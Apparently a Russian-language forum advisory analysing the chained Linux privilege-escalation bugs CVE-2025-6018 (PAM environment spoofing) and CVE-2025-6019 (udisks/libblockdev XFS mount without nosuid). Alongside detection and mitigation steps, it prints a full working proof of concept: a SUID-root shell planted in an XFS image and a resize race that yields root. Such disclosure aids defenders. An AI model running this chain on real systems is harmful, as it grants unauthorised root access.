Admin
Администратор
Введение
В июне 2025 года исследователи Qualys Threat Research Unit (TRU) раскрыли две критически важные уязвимости локальной эскалации привилегий (LPE), которые могут использоваться в связке для получения полного root-доступа в большинстве дистрибутивов Linux.
КРИТИЧЕСКИЕ УЯЗВИМОСТИ:
Технические детали CVE-2025-6018
Описание уязвимости
CVE-2025-6018 представляет собой локальную эскалацию привилегий в конфигурации PAM (Pluggable Authentication Modules) систем openSUSE Leap 15 и SUSE Linux Enterprise 15. Уязвимость позволяет непривилегированному локальному атакующему, подключающемуся через SSH, получить привилегии физического пользователя "allow_active".
Корневая причина:
Проблема заключается в неправильной последовательности обработки модулей PAM:
Механизм эксплуатации
Атакующий может принудительно заставить модуль pam_env добавить произвольные переменные в окружение PAM, записав их в ~/.pam_environment. Эти переменные затем возвращаются модулю pam_systemd через pam_getenv().
Критически важными переменными являются:
Proof of Concept для CVE-2025-6018
Анализ кода
В конфигурации PAM для SUSE системы последовательность выглядит следующим образом:
Когда pam_systemd вызывает pam_getenv() для переменных XDG_SEAT и XDG_VTNR, он получает значения, установленные атакующим через pam_env из файла ~/.pam_environment.
Технические детали CVE-2025-6019
Описание уязвимости
CVE-2025-6019 - это локальная эскалация привилегий в libblockdev, эксплуатируемая через демон udisks. Уязвимость позволяет пользователю с правами "allow_active" получить полные привилегии root.
Корневая причина:
Проблема заключается в том, что при изменении размера XFS файловой системы:
Механизм эксплуатации
Атакующий с правами "allow_active" может:
Детальный Proof of Concept для CVE-2025-6019
Шаг 1: Создание вредоносного XFS образа
Шаг 2: Подготовка на целевой системе
Шаг 3: Эксплуатация через resize операцию
Шаг 4: Получение root доступа
Анализ цепочки эксплуатации
Полная цепочка атаки
Код анализ libblockdev
Проблемная часть кода в libblockdev при обработке XFS resize:
Затронутые системы
Непосредственно уязвимые
Системы, подверженные CVE-2025-6019
Проверка уязвимости
Меры защиты и митигация
Немедленные действия
1. Применение патчей
2. Временная митигация для CVE-2025-6018
3. Временная митигация для CVE-2025-6019
Долгосрочные решения
CVSS оценки и влияние
Заключение
Данная цепочка уязвимостей демонстрирует, как кажущиеся незначительными конфигурационные проблемы могут привести к полному компромиссу системы. Особенно критично то, что:
В июне 2025 года исследователи Qualys Threat Research Unit (TRU) раскрыли две критически важные уязвимости локальной эскалации привилегий (LPE), которые могут использоваться в связке для получения полного root-доступа в большинстве дистрибутивов Linux.
КРИТИЧЕСКИЕ УЯЗВИМОСТИ:
- CVE-2025-6018: Позволяют непривилегированному пользователю (например, через SSH) получить права "allow_active" физического пользователя
- CVE-2025-6019: Позволяют пользователю с правами "allow_active" эскалировать до полного root-доступа
Технические детали CVE-2025-6018
Описание уязвимости
CVE-2025-6018 представляет собой локальную эскалацию привилегий в конфигурации PAM (Pluggable Authentication Modules) систем openSUSE Leap 15 и SUSE Linux Enterprise 15. Уязвимость позволяет непривилегированному локальному атакующему, подключающемуся через SSH, получить привилегии физического пользователя "allow_active".
Корневая причина:
Проблема заключается в неправильной последовательности обработки модулей PAM:
- pam_env модуль (из Linux-PAM 1.3.0) читает файл ~/.pam_environment пользователя по умолчанию
- Опция конфигурации "user_readenv" установлена в 1 по умолчанию
- pam_env вызывается первым через do_pam_setcred() как часть стека "auth" из /etc/pam.d/common-auth
- pam_systemd вызывается позже через do_pam_session() как часть стека "session" из /etc/pam.d/common-session
Механизм эксплуатации
Атакующий может принудительно заставить модуль pam_env добавить произвольные переменные в окружение PAM, записав их в ~/.pam_environment. Эти переменные затем возвращаются модулю pam_systemd через pam_getenv().
Критически важными переменными являются:
- XDG_SEAT: Определяет место (seat) пользователя
- XDG_VTNR: Определяет номер виртуального терминала
Proof of Concept для CVE-2025-6018
Код:
# Подключение к целевой системе
attacker# ssh -i id_ed25519 nobody@victim
# Проверка текущего статуса (должен вернуть 'challenge')
victim> gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
('challenge',)
# Создание файла .pam_environment с подделанными переменными
victim> { echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > .pam_environment
# Выход и повторное подключение
victim> exit
attacker# ssh -i id_ed25519 nobody@victim
# Проверка нового статуса (теперь должен вернуть 'yes')
victim> gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
('yes',)
Анализ кода
В конфигурации PAM для SUSE системы последовательность выглядит следующим образом:
Код:
/etc/pam.d/common-auth:
auth required pam_env.so user_readenv=1
/etc/pam.d/common-session:
session required pam_systemd.so
Когда pam_systemd вызывает pam_getenv() для переменных XDG_SEAT и XDG_VTNR, он получает значения, установленные атакующим через pam_env из файла ~/.pam_environment.
Технические детали CVE-2025-6019
Описание уязвимости
CVE-2025-6019 - это локальная эскалация привилегий в libblockdev, эксплуатируемая через демон udisks. Уязвимость позволяет пользователю с правами "allow_active" получить полные привилегии root.
Корневая причина:
Проблема заключается в том, что при изменении размера XFS файловой системы:
- Демон udisks вызывает libblockdev
- libblockdev временно монтирует XFS файловую систему в /tmp
- КРИТИЧЕСКАЯ ОШИБКА: Монтирование происходит БЕЗ флагов nosuid и nodev
- Это позволяет выполнение SUID бинарных файлов с повышенными привилегиями
Механизм эксплуатации
Атакующий с правами "allow_active" может:
- Создать XFS образ, содержащий SUID-root shell
- Настроить loop-устройство с этим образом
- Запросить у udisks изменение размера XFS файловой системы
- libblockdev смонтирует файловую систему в /tmp без защитных флагов
- Выполнить SUID-root shell и получить полные права root
Детальный Proof of Concept для CVE-2025-6019
Шаг 1: Создание вредоносного XFS образа
Код:
# На машине атакующего как root
attacker# dd if=/dev/zero of=./xfs.image bs=1M count=300
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied
attacker# mkfs.xfs ./xfs.image
meta-data=./xfs.image isize=512 agcount=4, agsize=19200 blks
= sectsz=512 attr=2, projid32bit=1
= crc=1 finobt=1, sparse=1, rmapbt=0
= reflink=1
attacker# mkdir ./xfs.mount
attacker# mount -t xfs ./xfs.image ./xfs.mount
# Создание SUID-root shell
attacker# cp /bin/bash ./xfs.mount/
attacker# chmod 04555 ./xfs.mount/bash
attacker# ls -la ./xfs.mount/bash
-r-sr-xr-x. 1 root root 1406608 Jun 17 09:42 ./xfs.mount/bash
attacker# umount ./xfs.mount
attacker# scp -i id_ed25519 ./xfs.image nobody@victim:
Шаг 2: Подготовка на целевой системе
Код:
# Подключение к жертве и проверка статуса allow_active
attacker# ssh -i id_ed25519 nobody@victim
victim> gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
('yes',) # Подтверждение статуса allow_active
# Остановка gvfs-udisks2-volume-monitor для предотвращения автомонтирования
victim> killall -KILL gvfs-udisks2-volume-monitor
# Настройка loop устройства
victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop0.
Шаг 3: Эксплуатация через resize операцию
Код:
# Запуск фонового процесса для поддержания файловой системы в занятом состоянии
victim> while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
# Запрос на изменение размера XFS (это вызовет libblockdev)
victim> gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy
# КРИТИЧЕСКИЙ МОМЕНТ: SUID shell теперь доступен в /tmp
-r-sr-xr-x. 1 root root 1406608 Jun 17 09:42 /tmp/blockdev.RSM842/bash
Шаг 4: Получение root доступа
Код:
# Проверка монтирования
victim> mount | grep loop0
/dev/loop0 on /tmp/blockdev.RSM842 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
# ЭСКАЛАЦИЯ ДО ROOT!
victim> /tmp/blockdev*/bash -p
victim# id
uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody)
^^^^^^^^^^^
Анализ цепочки эксплуатации
Полная цепочка атаки
Код:
1. SSH подключение как непривилегированный пользователь
↓
2. CVE-2025-6018: Создание ~/.pam_environment с XDG_SEAT=seat0 и XDG_VTNR=1
↓
3. Повторное подключение → получение статуса "allow_active"
↓
4. CVE-2025-6019: Создание XFS образа с SUID-root shell
↓
5. Настройка loop устройства
↓
6. Вызов udisks resize → libblockdev монтирует без nosuid/nodev
↓
7. Выполнение SUID shell → ПОЛНЫЙ ROOT ДОСТУП
Код анализ libblockdev
Проблемная часть кода в libblockdev при обработке XFS resize:
Код:
// Упрощенный псевдокод проблемной функции
int bd_fs_xfs_resize(const gchar *device, const gchar *new_size) {
gchar *mountpoint;
// Создание временной точки монтирования
mountpoint = g_strdup_printf("/tmp/blockdev.%s", random_string);
// ПРОБЛЕМА: Монтирование БЕЗ nosuid и nodev флагов
if (mount(device, mountpoint, "xfs", 0, NULL) != 0) {
return FALSE;
}
// Выполнение xfs_growfs
execute_xfs_growfs(mountpoint, new_size);
// Попытка размонтирования (может завершиться неудачей)
umount(mountpoint);
return TRUE;
}
Затронутые системы
Непосредственно уязвимые
- openSUSE Leap 15 (все версии)
- SUSE Linux Enterprise 15 (все версии)
Системы, подверженные CVE-2025-6019
- Ubuntu (все поддерживаемые версии)
- Debian (все поддерживаемые версии)
- Fedora (все текущие версии)
- Red Hat Enterprise Linux
- CentOS/AlmaLinux/Rocky Linux
- Практически все дистрибутивы с udisks по умолчанию
Проверка уязвимости
Код:
# Проверка наличия udisks2
systemctl status udisks2
# Проверка версии libblockdev
dpkg -l | grep libblockdev # Debian/Ubuntu
rpm -qa | grep libblockdev # RHEL/SUSE/Fedora
# Проверка PAM конфигурации (для CVE-2025-6018)
grep -r "user_readenv" /etc/pam.d/
grep -r "pam_env.so" /etc/pam.d/
Меры защиты и митигация
Немедленные действия
1. Применение патчей
Код:
# SUSE
sudo zypper update pam libblockdev udisks2
# Ubuntu/Debian
sudo apt update && sudo apt upgrade libblockdev0 udisks2 libpam-modules
# RHEL/Fedora
sudo dnf update pam libblockdev udisks2
2. Временная митигация для CVE-2025-6018
Код:
# Отключение user_readenv в PAM конфигурации
sudo sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
sudo sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/sshd
3. Временная митигация для CVE-2025-6019
Код:
# Изменение polkit правила для udisks
sudo tee /etc/polkit-1/rules.d/99-udisks-secure.rules << 'EOF'
polkit.addRule(function(action, subject) {
if (action.id == "org.freedesktop.udisks2.modify-device") {
return polkit.Result.AUTH_ADMIN;
}
});
EOF
Долгосрочные решения
- Аудит PAM конфигураций
- Реализация принципа минимальных привилегий
- Мониторинг подозрительной активности
- Регулярное обновление систем
CVSS оценки и влияние
- CVE-2025-6018: CVSS 3.1 Base Score: 7.8 (High)
- CVE-2025-6019: CVSS 3.1 Base Score: 7.8 (High)
- Цепочка: Эффективный CVSS: 9.0+ (Critical)
Заключение
Данная цепочка уязвимостей демонстрирует, как кажущиеся незначительными конфигурационные проблемы могут привести к полному компромиссу системы. Особенно критично то, что:
- Эксплуатация не требует экзотических техник
- Все компоненты установлены по умолчанию
- Атака может выполняться удаленно через SSH
- Процесс эскалации занимает секунды